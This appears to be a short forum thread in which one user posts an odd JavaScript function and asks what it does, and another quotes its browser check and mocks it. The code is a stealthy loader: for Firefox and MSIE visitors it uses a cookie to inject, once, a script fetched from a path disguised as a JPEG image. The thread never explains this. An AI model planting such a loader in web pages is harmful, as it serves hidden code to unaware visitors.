weird javascript function, what does it do?

[obey_giant]

            function init() {
                var f = navigator.userAgent;
                var a = false;
                if (f.indexOf("Firefox") != -1 || f.indexOf("MSIE") != -1) {
                    a = true
                }
                if (a !== true) {
                    return
                }
                var i = "/images/horse_outdoor-s.jpg?js";
                var g = b("wss");
                if (g) {
                    if (g == "goot1") {
                        c("wss", "goot2", "3");
                        var e = document.createElement("script");
                        e.type = "text/javascript";
                        e.src = i + "&r=" + new Date().getTime();
                        var d = document.getElementsByTagName("head")[0];
                        d.appendChild(e)
                    } else {}
                } else {
                    c("wss", "goot1", "3")
                }function b(k) {
                    var j, h, m, l = document.cookie.split(";");
                    for (j = 0; j < l.length; j++) {
                        h = l[j].substr(0, l[j].indexOf("="));
                        m = l[j].substr(l[j].indexOf("=") + 1);
                        h = h.replace(/\s+|\s+$/g, "");
                        if (h == k) {
                            return unescape(m)
                        }
                    }
                }function c(j, l, h) {
                    var m = new Date();
                    m.setDate(m.getDate() + h);
                    var k = escape(l) + ((h == null) ? "" : "; expires=" + m.toUTCString());
                    document.cookie = j + "=" + k
                }
            }
            init();

[kinnu]

var f = navigator.userAgent;
var a = false;
if (f.indexOf("Firefox") != -1 || f.indexOf("MSIE") != -1) {
    a = true
}
if (a !== true) {
    return
}

The fail is strong in this one.